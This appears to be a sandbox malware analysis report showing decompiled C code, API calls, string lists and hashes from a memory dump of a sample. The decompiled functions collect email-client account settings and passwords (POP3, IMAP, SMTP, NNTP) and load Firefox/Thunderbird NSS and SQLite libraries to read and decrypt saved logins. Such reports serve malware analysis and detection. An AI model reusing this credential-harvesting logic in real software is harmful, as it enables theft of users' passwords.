SMTPPort, xrefs: 00402ED6
PopServer, xrefs: 00402E26
SMTPServer, xrefs: 00402EC0
SMTPLogSecure, xrefs: 00402EEA
EmailAddress, xrefs: 00402DFA
PopAccount, xrefs: 00402E10

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcpy$QueryValue$CloseOpen
String ID: DisplayName$EmailAddress$PopAccount$PopLogSecure$PopPassword$PopPort$PopServer$SMTPAccount$SMTPLogSecure$SMTPPassword$SMTPPort$SMTPServer
API String ID: 4127491968-1534328989
Opcode ID: 4a263c393ebea8c7b3aa3f5485092cacd202bcda1693c223d9a8b8372ccc35ea
Instruction ID: 3eb728c69d877055b887914c3e29035f7ad0c3b4bfdbdde50966da93315596c3
Opcode Fuzzy Hash: 4a263c393ebea8c7b3aa3f5485092cacd202bcda1693c223d9a8b8372ccc35ea
Instruction Fuzzy Hash: 315139B1910218BEDB21EF51CD06BDE777CAF04304F1081B7BA08B6191E7789B989F58

Uniqueness

Uniqueness Score: -1.00%

Function 00410D67, Relevance: 80.8, APIs: 23, Strings: 23, Instructions: 309
stringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00410D67(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				int _t58;
				int _t59;
				int _t60;
				int _t61;
				int _t63;
				void* _t96;
				void* _t99;
				void* _t102;
				void* _t105;
				void* _t108;
				void* _t111;
				void* _t114;
				void* _t117;
				void* _t123;
				void* _t194;
				void* _t196;
				void* _t201;
				char* _t202;

				_t194 = __edx;
				_t201 = __ecx;
				if(strcmp(__ecx + 0x46c, "Account_Name") == 0) {
					_t204 = _t201 + 0x460;
					E004060DA(0xff, _t201 + 0x870, E00406BA3( *(_t201 + 0x460)));
					_t123 = E00406BA3( *_t204);
					_t195 = _t201 + 0xf84;
					E004060DA(0xff, _t201 + 0xf84, _t123);
				}
				_t202 = _t201 + 0x46c;
				if(strcmp(_t202, "POP3_Server") == 0) {
					_t117 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x970;
					E004060DA(0xff, _t201 + 0x970, _t117);
				}
				if(strcmp(_t202, "IMAP_Server") == 0) {
					_t114 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x970;
					E004060DA(0xff, _t201 + 0x970, _t114);
				}
				if(strcmp(_t202, "NNTP_Server") == 0) {
					_t111 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x970;
					E004060DA(0xff, _t201 + 0x970, _t111);
				}
				if(strcmp(_t202, "SMTP_Server") == 0) {
					_t108 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x1084;
					E004060DA(0xff, _t201 + 0x1084, _t108);
				}
				if(strcmp(_t202, "POP3_User_Name") == 0) {
					_t105 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0xb70;
					E004060DA(0xff, _t201 + 0xb70, _t105);
					 *((intOrPtr*)(_t201 + 0xf70)) = 1;
				}
				if(strcmp(_t202, "IMAP_User_Name") == 0) {
					_t102 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0xb70;
					E004060DA(0xff, _t201 + 0xb70, _t102);
					 *((intOrPtr*)(_t201 + 0xf70)) = 2;
				}
				if(strcmp(_t202, "NNTP_User_Name") == 0) {
					_t99 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0xb70;
					E004060DA(0xff, _t201 + 0xb70, _t99);
					 *((intOrPtr*)(_t201 + 0xf70)) = 4;
				}
				if(strcmp(_t202, "SMTP_User_Name") == 0) {
					_t96 = E00406BA3( *((intOrPtr*)(_t201 + 0x460)));
					_t195 = _t201 + 0x1284;
					E004060DA(0xff, _t201 + 0x1284, _t96);
					 *((intOrPtr*)(_t201 + 0x1684)) = 3;
				}
				_t58 = strcmp(_t202, "POP3_Password2");
				_t214 = _t58;
				if(_t58 == 0) {
					E00410BCE(E00406BA3( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t214, _t201, _t201 + 0x870);
				}
				_t59 = strcmp(_t202, "IMAP_Password2");
				_t215 = _t59;
				if(_t59 == 0) {
					E00410BCE(E00406BA3( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t215, _t201, _t201 + 0x870);
				}
				_t60 = strcmp(_t202, "NNTP_Password2");
				_t216 = _t60;
				if(_t60 == 0) {
					E00410BCE(E00406BA3( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t216, _t201, _t201 + 0x870);
				}
				_t61 = strcmp(_t202, "SMTP_Password2");
				_t217 = _t61;
				if(_t61 == 0) {
					E00410BCE(E00406BA3( *((intOrPtr*)(_t201 + 0x460))), _t194, _t195, _t217, _t201, _t201 + 0xf84);
				}
				if(strcmp(_t202, "NNTP_Email_Address") == 0) {
					E004060DA(0xff, _t201 + 0xe70, E00406BA3( *((intOrPtr*)(_t201 + 0x460))));
				}
				_t63 = strcmp(_t202, "SMTP_Email_Address");
				if(_t63 == 0) {
					_t203 = _t201 + 0x460;
					E004060DA(0xff, _t201 + 0xe70, E00406BA3( *(_t201 + 0x460)));
					_t63 = E004060DA(0xff, _t201 + 0x1584, E00406BA3( *_t203));
				}
				_push("SMTP_Port");
				_t196 = _t201 + 0x46c;
				_push(_t196);
				L004120B4();
				if(_t63 == 0) {
					_t63 = E00406541(E00406BA3( *((intOrPtr*)(_t201 + 0x460))));
					 *(_t201 + 0x168c) = _t63;
				}
				_push("NNTP_Port");
				_push(_t196);
				L004120B4();
				if(_t63 == 0) {
					L35:
					_t63 = E00406541(E00406BA3( *((intOrPtr*)(_t201 + 0x460))));
					 *(_t201 + 0xf78) = _t63;
				} else {
					_push("IMAP_Port");
					_push(_t196);
					L004120B4();
					if(_t63 == 0) {
						goto L35;
					} else {
						_push("POP3_Port");
						_push(_t196);
						L004120B4();
						if(_t63 == 0) {
							goto L35;
						}
					}
				}
				_push("SMTP_Secure_Connection");
				_push(_t196);
				L004120B4();
				if(_t63 == 0) {
					_t63 = E00406541(E00406BA3( *((intOrPtr*)(_t201 + 0x460))));
					 *(_t201 + 0x1690) = _t63;
				}
				_push("NNTP_Secure_Connection");
				_push(_t196);
				L004120B4();
				if(_t63 == 0) {
					L41:
					 *((intOrPtr*)(_t201 + 0xf7c)) = E00406541(E00406BA3( *((intOrPtr*)(_t201 + 0x460))));
				} else {
					_push("IMAP_Secure_Connection");
					_push(_t196);
					L004120B4();
					if(_t63 == 0) {
						goto L41;
					} else {
						_push("POP3_Secure_Connection");
						_push(_t196);
						L004120B4();
						if(_t63 == 0) {
							goto L41;
						}
					}
				}
				return 1;
			}

0x00410d67
0x00410d6b
0x00410d87
0x00410d89
0x00410d9e
0x00410da7
0x00410dad
0x00410db3
0x00410db8
0x00410dbe
0x00410dce
0x00410dd6
0x00410ddc
0x00410de2
0x00410de7
0x00410df7
0x00410dff
0x00410e05
0x00410e0b
0x00410e10
0x00410e20
0x00410e28
0x00410e2e
0x00410e34
0x00410e39
0x00410e49
0x00410e51
0x00410e57
0x00410e5d
0x00410e62
0x00410e72
0x00410e7a
0x00410e80
0x00410e86
0x00410e8c
0x00410e8c
0x00410ea5
0x00410ead
0x00410eb3
0x00410eb9
0x00410ebf
0x00410ebf
0x00410ed8
0x00410ee0
0x00410ee6
0x00410eec
0x00410ef2
0x00410ef2
0x00410f0b
0x00410f13
0x00410f19
0x00410f1f
0x00410f25
0x00410f25
0x00410f35
0x00410f3a
0x00410f3e
0x00410f53
0x00410f53
0x00410f5e
0x00410f63
0x00410f67
0x00410f7c
0x00410f7c
0x00410f87
0x00410f8c
0x00410f90
0x00410fa5
0x00410fa5
0x00410fb0
0x00410fb5
0x00410fb9
0x00410fce
0x00410fce
0x00410fe2
0x00410ff6
0x00410ffb
0x00411002
0x0041100b
0x0041100d
0x00411022
0x00411037
0x0041103c
0x0041103d
0x00411042
0x00411048
0x00411049
0x00411052
0x00411060
0x00411066
0x00411066
0x0041106c
0x00411071
0x00411072
0x0041107b
0x0041109f
0x004110ab
0x004110b1
0x0041107d
0x0041107d
0x00411082
0x00411083
0x0041108c
0x00000000
0x0041108e
0x0041108e
0x00411093
0x00411094
0x0041109d
0x00000000
0x00000000
0x0041109d
0x0041108c
0x004110b7
0x004110bc
0x004110bd
0x004110c6
0x004110d4
0x004110da
0x004110da
0x004110e0
0x004110e5
0x004110e6
0x004110ef
0x00411113
0x00411125
0x004110f1
0x004110f1
0x004110f6
0x004110f7
0x00411100
0x00000000
0x00411102
0x00411102
0x00411107
0x00411108
0x00411111
0x00000000
0x00000000
0x00411111
0x00411100
0x00411132

APIs

strcmp.MSVCRT ref: 00410D79
strcmp.MSVCRT ref: 00410DC5
strcmp.MSVCRT ref: 00410DEE
strcmp.MSVCRT ref: 00410E17
strcmp.MSVCRT ref: 00410E40
strcmp.MSVCRT ref: 00410E69
strcmp.MSVCRT ref: 00410E9C
strcmp.MSVCRT ref: 00410ECF
strcmp.MSVCRT ref: 00410F35
strcmp.MSVCRT ref: 00410F5E
strcmp.MSVCRT ref: 00410F87
strcmp.MSVCRT ref: 00410FB0
strcmp.MSVCRT ref: 00410FD9
strcmp.MSVCRT ref: 00411002
strcmp.MSVCRT ref: 00410F02

Part of subcall function 004060DA: strlen.MSVCRT ref: 004060DF
Part of subcall function 004060DA: memcpy.MSVCRT ref: 004060F4

_stricmp.MSVCRT(?,SMTP_Port), ref: 00411049
_stricmp.MSVCRT(?,NNTP_Port), ref: 00411072
_stricmp.MSVCRT(?,IMAP_Port), ref: 00411083
_stricmp.MSVCRT(?,POP3_Port), ref: 00411094
_stricmp.MSVCRT(?,SMTP_Secure_Connection), ref: 004110BD
_stricmp.MSVCRT(?,NNTP_Secure_Connection), ref: 004110E6
_stricmp.MSVCRT(?,IMAP_Secure_Connection), ref: 004110F7
_stricmp.MSVCRT(?,POP3_Secure_Connection), ref: 00411108

Strings

NNTP_User_Name, xrefs: 00410EC9
SMTP_Server, xrefs: 00410E3A
Account_Name, xrefs: 00410D73
SMTP_Secure_Connection, xrefs: 004110B7
SMTP_Password2, xrefs: 00410FAA
NNTP_Port, xrefs: 0041106C
IMAP_Password2, xrefs: 00410F58
POP3_User_Name, xrefs: 00410E63
NNTP_Email_Address, xrefs: 00410FD3
IMAP_Secure_Connection, xrefs: 004110F1
NNTP_Server, xrefs: 00410E11
POP3_Secure_Connection, xrefs: 00411102
SMTP_Email_Address, xrefs: 00410FFC
POP3_Port, xrefs: 0041108E
SMTP_User_Name, xrefs: 00410EFC
SMTP_Port, xrefs: 0041103D
POP3_Server, xrefs: 00410DB9
NNTP_Secure_Connection, xrefs: 004110E0
IMAP_Port, xrefs: 0041107D
IMAP_User_Name, xrefs: 00410E96
NNTP_Password2, xrefs: 00410F81
POP3_Password2, xrefs: 00410F2F
IMAP_Server, xrefs: 00410DE8

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcmp$_stricmp$memcpystrlen
String ID: Account_Name$IMAP_Password2$IMAP_Port$IMAP_Secure_Connection$IMAP_Server$IMAP_User_Name$NNTP_Email_Address$NNTP_Password2$NNTP_Port$NNTP_Secure_Connection$NNTP_Server$NNTP_User_Name$POP3_Password2$POP3_Port$POP3_Secure_Connection$POP3_Server$POP3_User_Name$SMTP_Email_Address$SMTP_Password2$SMTP_Port$SMTP_Secure_Connection$SMTP_Server$SMTP_User_Name
API String ID: 1113949926-2499304436
Opcode ID: 0a2286a2ee10144d1cd19d55ef64d0b704ba42cbf857e026c28c1a280e809191
Instruction ID: fdd8238c1ffaca80b8f1a937c0ff3988063f93198c4aeb5310ca970d52cdd6dd
Opcode Fuzzy Hash: 0a2286a2ee10144d1cd19d55ef64d0b704ba42cbf857e026c28c1a280e809191
Instruction Fuzzy Hash: 8E9160B21097049DE628B632ED02BDB73D8AF4431CF21052FF55AE6182EEBDB991465C

Uniqueness

Uniqueness Score: -1.00%

Function 0040FCBC, Relevance: 61.4, APIs: 22, Strings: 13, Instructions: 143
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040FCBC(intOrPtr* __esi, char* _a4) {
				void _v283;
				char _v284;
				void _v547;
				char _v548;
				struct HINSTANCE__* _t49;
				struct HINSTANCE__* _t50;
				struct HINSTANCE__* _t61;
				void* _t70;
				struct HINSTANCE__* _t74;
				CHAR* _t91;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				void* _t96;

				_t93 = __esi;
				if( *((intOrPtr*)(__esi + 0x24)) != 0) {
					L16:
					return 1;
				}
				_v284 = 0;
				memset( &_v283, 0, 0x117);
				_t95 = _t94 + 0xc;
				if(_a4 == 0) {
					E0040FAA6( &_v284);
				} else {
					strcpy( &_v284, _a4);
				}
				if(_v284 == 0) {
					_t91 = "sqlite3.dll";
					_t49 = GetModuleHandleA(_t91);
					 *(_t93 + 0x24) = _t49;
					if(_t49 != 0) {
						goto L14;
					}
					_t61 = LoadLibraryA(_t91);
					goto L13;
				} else {
					_v548 = 0;
					memset( &_v547, 0, 0x104);
					strcpy( &_v548,  &_v284);
					strcat( &_v284, "\\sqlite3.dll");
					_t70 = E00406155( &_v284);
					_t96 = _t95 + 0x20;
					if(_t70 == 0) {
						strcpy( &_v284,  &_v548);
						strcat( &_v284, "\\mozsqlite3.dll");
						_t96 = _t96 + 0x10;
					}
					if(E00406155( &_v284) == 0) {
						strcpy( &_v284,  &_v548);
						strcat( &_v284, "\\nss3.dll");
					}
					_t74 = GetModuleHandleA( &_v284);
					 *(_t93 + 0x24) = _t74;
					if(_t74 != 0) {
						L14:
						_t50 =  *(_t93 + 0x24);
						if(_t50 == 0) {
							return 0;
						}
						 *_t93 = GetProcAddress(_t50, "sqlite3_open");
						 *((intOrPtr*)(_t93 + 4)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_prepare");
						 *((intOrPtr*)(_t93 + 8)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_step");
						 *((intOrPtr*)(_t93 + 0xc)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_column_text");
						 *((intOrPtr*)(_t93 + 0x10)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_column_int");
						 *((intOrPtr*)(_t93 + 0x14)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_column_int64");
						 *((intOrPtr*)(_t93 + 0x18)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_finalize");
						 *((intOrPtr*)(_t93 + 0x1c)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_close");
						 *((intOrPtr*)(_t93 + 0x20)) = GetProcAddress( *(_t93 + 0x24), "sqlite3_exec");
						goto L16;
					} else {
						_t61 = LoadLibraryExA( &_v284, 0, 8);
						L13:
						 *(_t93 + 0x24) = _t61;
						goto L14;
					}
				}
			}

0x0040fcbc
0x0040fccc
0x0040fe8a
0x00000000
0x0040fe8c
0x0040fcdf
0x0040fce5
0x0040fcea
0x0040fcf6
0x0040fd05
0x0040fcf8
0x0040fcfc
0x0040fd02
0x0040fd10
0x0040fdea
0x0040fdf0
0x0040fdf8
0x0040fdfb
0x00000000
0x00000000
0x0040fdfe
0x00000000
0x0040fd16
0x0040fd23
0x0040fd29
0x0040fd3c
0x0040fd4d
0x0040fd59
0x0040fd5e
0x0040fd63
0x0040fd73
0x0040fd84
0x0040fd89
0x0040fd89
0x0040fd9b
0x0040fdab
0x0040fdbc
0x0040fdc1
0x0040fdcb
0x0040fdd3
0x0040fdd6
0x0040fe07
0x0040fe07
0x0040fe0c
0x00000000
0x0040fe93
0x0040fe28
0x0040fe34
0x0040fe41
0x0040fe4e
0x0040fe5b
0x0040fe68
0x0040fe75
0x0040fe82
0x0040fe87
0x00000000
0x0040fdd8
0x0040fde2
0x0040fe04
0x0040fe04
0x00000000
0x0040fe04
0x0040fdd6

APIs

memset.MSVCRT ref: 0040FCE5
strcpy.MSVCRT(?,?,?,?,00000000), ref: 0040FCFC
memset.MSVCRT ref: 0040FD29
strcpy.MSVCRT(?,?,?,00000000,00000104,?,?,00000000), ref: 0040FD3C
strcat.MSVCRT(?,\sqlite3.dll,?,?,?,00000000,00000104,?,?,00000000), ref: 0040FD4D
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040FD73
strcat.MSVCRT(?,\mozsqlite3.dll,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040FD84
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040FDAB
strcat.MSVCRT(?,\nss3.dll,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040FDBC
GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040FDCB
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040FDE2
GetModuleHandleA.KERNEL32(sqlite3.dll,?,?,00000000), ref: 0040FDF0
LoadLibraryA.KERNEL32(sqlite3.dll,?,?,00000000), ref: 0040FDFE
GetProcAddress.KERNEL32(?,sqlite3_open), ref: 0040FE1E
GetProcAddress.KERNEL32(?,sqlite3_prepare), ref: 0040FE2A
GetProcAddress.KERNEL32(?,sqlite3_step), ref: 0040FE37
GetProcAddress.KERNEL32(?,sqlite3_column_text), ref: 0040FE44
GetProcAddress.KERNEL32(?,sqlite3_column_int), ref: 0040FE51
GetProcAddress.KERNEL32(?,sqlite3_column_int64), ref: 0040FE5E
GetProcAddress.KERNEL32(?,sqlite3_finalize), ref: 0040FE6B
GetProcAddress.KERNEL32(?,sqlite3_close), ref: 0040FE78
GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 0040FE85

Strings

sqlite3_column_text, xrefs: 0040FE39
sqlite3_column_int64, xrefs: 0040FE53
sqlite3_step, xrefs: 0040FE2C
\sqlite3.dll, xrefs: 0040FD47
\nss3.dll, xrefs: 0040FDB6
sqlite3_prepare, xrefs: 0040FE20
sqlite3_column_int, xrefs: 0040FE46
sqlite3_finalize, xrefs: 0040FE60
sqlite3_close, xrefs: 0040FE6D
sqlite3_exec, xrefs: 0040FE7A
sqlite3_open, xrefs: 0040FE18
sqlite3.dll, xrefs: 0040FDEA, 0040FDEF, 0040FDFD
\mozsqlite3.dll, xrefs: 0040FD7E

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$strcpy$strcat$HandleLibraryLoadModulememset
String ID: \mozsqlite3.dll$\nss3.dll$\sqlite3.dll$sqlite3.dll$sqlite3_close$sqlite3_column_int$sqlite3_column_int64$sqlite3_column_text$sqlite3_exec$sqlite3_finalize$sqlite3_open$sqlite3_prepare$sqlite3_step
API String ID: 2571629209-2385123308
Opcode ID: f879ae07ce377879295b5903e709fdbb1205cb1f9dca58ec31e17bd31d5cb62c
Instruction ID: c8562112cbf9eae777f2394b99ada5fc335e217e34df457794dbf1c8b1b14659
Opcode Fuzzy Hash: f879ae07ce377879295b5903e709fdbb1205cb1f9dca58ec31e17bd31d5cb62c
Instruction Fuzzy Hash: 86516371900308AECB30EFA1DD45ECB7BF8AF58704F10497BE649E2641E678E6858F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040D003, Relevance: 52.8, APIs: 20, Strings: 10, Instructions: 287
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040D003(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char* _a8) {
				char* _v8;
				char* _v12;
				char* _v16;
				intOrPtr _v20;
				char _v36;
				int _v40;
				char _v60;
				char _v92;
				char _v108;
				char _v132;
				char _v164;
				void _v419;
				int _v420;
				void _v675;
				int _v676;
				void _v1291;
				char _v1292;
				void _v1907;
				char _v1908;
				void _v2523;
				char _v2524;
				char _v3548;
				char _v4572;
				char _v5596;
				char _v6620;
				char _v7644;
				void _v8667;
				char _v8668;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t91;
				signed int _t92;
				signed int _t93;
				intOrPtr* _t101;
				void* _t109;
				char* _t122;
				signed int _t148;
				char* _t149;
				signed int _t150;
				signed int _t157;
				signed int _t159;
				int _t175;
				void* _t207;
				void* _t208;
				intOrPtr _t209;
				char* _t213;
				intOrPtr _t215;
				signed int _t216;
				void* _t218;
				intOrPtr _t221;
				char* _t225;
				void* _t229;
				void* _t230;
				void* _t231;

				_t207 = __edx;
				E00412360(0x21dc, __ecx);
				_t209 = _a4;
				_t221 = _t209 + 0x30;
				_v20 = _t221;
				_t91 = E0040E54C(_t221, _t209 + 0x362);
				if(_t91 == 0) {
					return _t91;
				}
				_t92 =  *(_t221 + 4);
				_t175 = 0;
				if(_t92 == 0) {
					_t93 = _t92 | 0xffffffff;
					__eflags = _t93;
				} else {
					_t93 =  *_t92(_t209);
				}
				_t235 = _t93 - _t175;
				if(_t93 != _t175) {
					L36:
					return E0040E6B4(_t221);
				} else {
					E00411C05(_t209, _t221, _t235, E00411BDA(_t235), _a8);
					E00411EB7(_t207,  &_v164, _t235);
					_t208 = E00411CB0( &_v164, "logins");
					_t236 = _t208 - _t175;
					if(_t208 == _t175) {
						L33:
						_t101 =  *((intOrPtr*)(_v20 + 8));
						if(_t101 != _t175) {
							 *_t101();
						}
						E00404638( &_v108);
						E00406B8A( &_v132);
						E00406A7D( &_v164);
						_t221 = _v20;
						goto L36;
					}
					E00411BDA(_t236);
					_t109 = E00406B3E( *((intOrPtr*)(_t208 + 4)),  *((intOrPtr*)(_t208 + 8)));
					_t237 = _t109 - _t175;
					if(_t109 == _t175) {
						_t109 = 0x41344f;
					}
					_v40 = _t175;
					E00406CFF( &_v60, _t109);
					while(E00411EB7(_t208,  &_v92, _t237) != 0) {
						_v8668 = _t175;
						memset( &_v8667, _t175, 0x3ff);
						memset( &_v7644, _t175, 0x1400);
						_t231 = _t230 + 0x18;
						_t212 =  &_v92;
						_t225 = E00411C8A( &_v92, "hostname");
						_v16 = E00411C8A( &_v92, "encryptedUsername");
						_a8 = E00411C8A( &_v92, "encryptedPassword");
						_v12 = E00411C8A( &_v92, "usernameField");
						_v8 = E00411C8A(_t212, "passwordField");
						_t122 = E00411C8A(_t212, "httpRealm");
						__eflags = _t225 - _t175;
						_t213 = _t122;
						if(_t225 != _t175) {
							strcpy( &_v8668, _t225);
						}
						__eflags = _v16 - _t175;
						if(_v16 != _t175) {
							strcpy( &_v7644, _v16);
						}
						__eflags = _a8 - _t175;
						if(_a8 != _t175) {
							strcpy( &_v6620, _a8);
						}
						__eflags = _v12 - _t175;
						if(_v12 != _t175) {
							strcpy( &_v5596, _v12);
						}
						__eflags = _v8 - _t175;
						if(_v8 != _t175) {
							strcpy( &_v4572, _v8);
						}
						__eflags = _t213 - _t175;
						if(_t213 != _t175) {
							strcpy( &_v3548, _t213);
						}
						_v676 = _t175;
						memset( &_v675, _t175, 0xff);
						_v420 = _t175;
						memset( &_v419, _t175, 0xff);
						_t215 = _a4;
						_t230 = _t231 + 0x18;
						E0040CF02(_a8, _t215,  &_v420);
						E0040CF02(_v16, _t215,  &_v676);
						__eflags =  *((intOrPtr*)(_t215 + 0x474)) - _t175;
						_a8 = _t175;
						if(__eflags > 0) {
							_t216 = _t215 + 0x468;
							__eflags = _t216;
							_v8 = _t216;
							do {
								_t229 = E0040DA96(_a8, _v8);
								_v1292 = _t175;
								memset( &_v1291, _t175, 0x261);
								_v2524 = _t175;
								memset( &_v2523, _t175, 0x261);
								_v1908 = _t175;
								memset( &_v1907, _t175, 0x261);
								_t56 = _t229 + 0x104; // 0x104
								_t218 = _t56;
								sprintf( &_v1292, "mailbox://%s", _t218);
								sprintf( &_v2524, "imap://%s", _t218);
								sprintf( &_v1908, "smtp://%s", _t218);
								_t230 = _t230 + 0x48;
								_push( &_v3548);
								_t148 =  &_v1292;
								_push(_t148);
								L00412072();
								__eflags = _t148;
								if(_t148 == 0) {
									L26:
									_t66 = _t229 + 0x204; // 0x204
									_t149 = _t66;
									_push(_t149);
									_v12 = _t149;
									_t150 =  &_v676;
									_push(_t150);
									L00412072();
									__eflags = _t150;
									if(_t150 == 0) {
										__eflags = _v420 - _t175;
										if(_v420 != _t175) {
											_t71 = _t229 + 0x304; // 0x304
											E004060DA(0xff, _t71,  &_v420);
										}
										E004060DA(0xff, _v12,  &_v676);
										_t175 = 0;
										__eflags = 0;
									}
									goto L30;
								}
								_push( &_v3548);
								_t157 =  &_v2524;
								_push(_t157);
								L00412072();
								__eflags = _t157;
								if(_t157 == 0) {
									goto L26;
								}
								_push( &_v3548);
								_t159 =  &_v1908;
								_push(_t159);
								L00412072();
								__eflags = _t159;
								if(_t159 != 0) {
									goto L30;
								}
								goto L26;
								L30:
								_a8 =  &(_a8[1]);
								__eflags = _a8 -  *((intOrPtr*)(_a4 + 0x474));
							} while (__eflags < 0);
						}
					}
					E00404638( &_v36);
					E00406B8A( &_v60);
					E00406A7D( &_v92);
					goto L33;
				}
			}

0x0040d003
0x0040d00b
0x0040d013
0x0040d01c
0x0040d020
0x0040d023
0x0040d02a
0x0040d3b2
0x0040d3b2
0x0040d030
0x0040d033
0x0040d037
0x0040d045
0x0040d045
0x0040d039
0x0040d040
0x0040d042
0x0040d048
0x0040d04a
0x0040d3a9
0x00000000
0x0040d050
0x0040d05f
0x0040d06a
0x0040d079
0x0040d07b
0x0040d07d
0x0040d37f
0x0040d382
0x0040d387
0x0040d389
0x0040d389
0x0040d38e
0x0040d396
0x0040d3a1
0x0040d3a6
0x00000000
0x0040d3a6
0x0040d086
0x0040d091
0x0040d096
0x0040d098
0x0040d09a
0x0040d09a
0x0040d0a4
0x0040d0a7
0x0040d358
0x0040d0be
0x0040d0c4
0x0040d0d6
0x0040d0db
0x0040d0e3
0x0040d0f0
0x0040d0fc
0x0040d109
0x0040d116
0x0040d123
0x0040d126
0x0040d12b
0x0040d12d
0x0040d12f
0x0040d139
0x0040d13f
0x0040d140
0x0040d143
0x0040d14f
0x0040d155
0x0040d156
0x0040d159
0x0040d165
0x0040d16b
0x0040d16c
0x0040d16f
0x0040d17b
0x0040d181
0x0040d182
0x0040d185
0x0040d191
0x0040d197
0x0040d198
0x0040d19a
0x0040d1a4
0x0040d1aa
0x0040d1b9
0x0040d1bf
0x0040d1cd
0x0040d1d3
0x0040d1d8
0x0040d1db
0x0040d1ea
0x0040d1fb
0x0040d200
0x0040d206
0x0040d209
0x0040d20f
0x0040d20f
0x0040d215
0x0040d218
0x0040d229
0x0040d233
0x0040d239
0x0040d247
0x0040d24d
0x0040d25b
0x0040d261
0x0040d266
0x0040d266
0x0040d279
0x0040d28b
0x0040d29d
0x0040d2a2
0x0040d2ab
0x0040d2ac
0x0040d2b2
0x0040d2b3
0x0040d2b8
0x0040d2bc
0x0040d2f0
0x0040d2f0
0x0040d2f0
0x0040d2f6
0x0040d2f7
0x0040d2fa
0x0040d300
0x0040d301
0x0040d306
0x0040d30a
0x0040d30c
0x0040d312
0x0040d31b
0x0040d326
0x0040d32b
0x0040d33b
0x0040d341
0x0040d341
0x0040d341
0x00000000
0x0040d30a
0x0040d2c4
0x0040d2c5
0x0040d2cb
0x0040d2cc
0x0040d2d1
0x0040d2d5
0x00000000
0x00000000
0x0040d2dd
0x0040d2de
0x0040d2e4
0x0040d2e5
0x0040d2ea
0x0040d2ee
0x00000000
0x00000000
0x00000000
0x0040d343
0x0040d343
0x0040d34c
0x0040d34c
0x0040d218
0x0040d209
0x0040d36b
0x0040d373
0x0040d37a
0x00000000
0x0040d37a

APIs

Part of subcall function 0040E54C: memset.MSVCRT ref: 0040E56D
Part of subcall function 0040E54C: GetCurrentDirectoryA.KERNEL32(00000104,?,?,?,00000000), ref: 0040E59C
Part of subcall function 0040E54C: SetCurrentDirectoryA.KERNEL32(00000000,?,?,00000000), ref: 0040E5A9
Part of subcall function 0040E54C: memset.MSVCRT ref: 0040E5C0
Part of subcall function 0040E54C: strlen.MSVCRT ref: 0040E5CA
Part of subcall function 0040E54C: strlen.MSVCRT ref: 0040E5D8
Part of subcall function 0040E54C: GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 0040E611
Part of subcall function 0040E54C: LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040E62D
Part of subcall function 0040E54C: LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040E645
Part of subcall function 0040E54C: GetProcAddress.KERNEL32(?,NSS_Init), ref: 0040E65A
Part of subcall function 0040E54C: GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 0040E666
Part of subcall function 0040E54C: GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 0040E672
Part of subcall function 0040E54C: GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 0040E67E
Part of subcall function 0040E54C: GetProcAddress.KERNEL32(?,PK11_CheckUserPassword), ref: 0040E68A
Part of subcall function 0040E54C: GetProcAddress.KERNEL32(?,PK11_Authenticate), ref: 0040E696

memset.MSVCRT ref: 0040D0C4
memset.MSVCRT ref: 0040D0D6
strcpy.MSVCRT(?,00000000,httpRealm,passwordField,usernameField,encryptedPassword,encryptedUsername,hostname,00000104,00000000,?,0040D972,?,00000000), ref: 0040D139
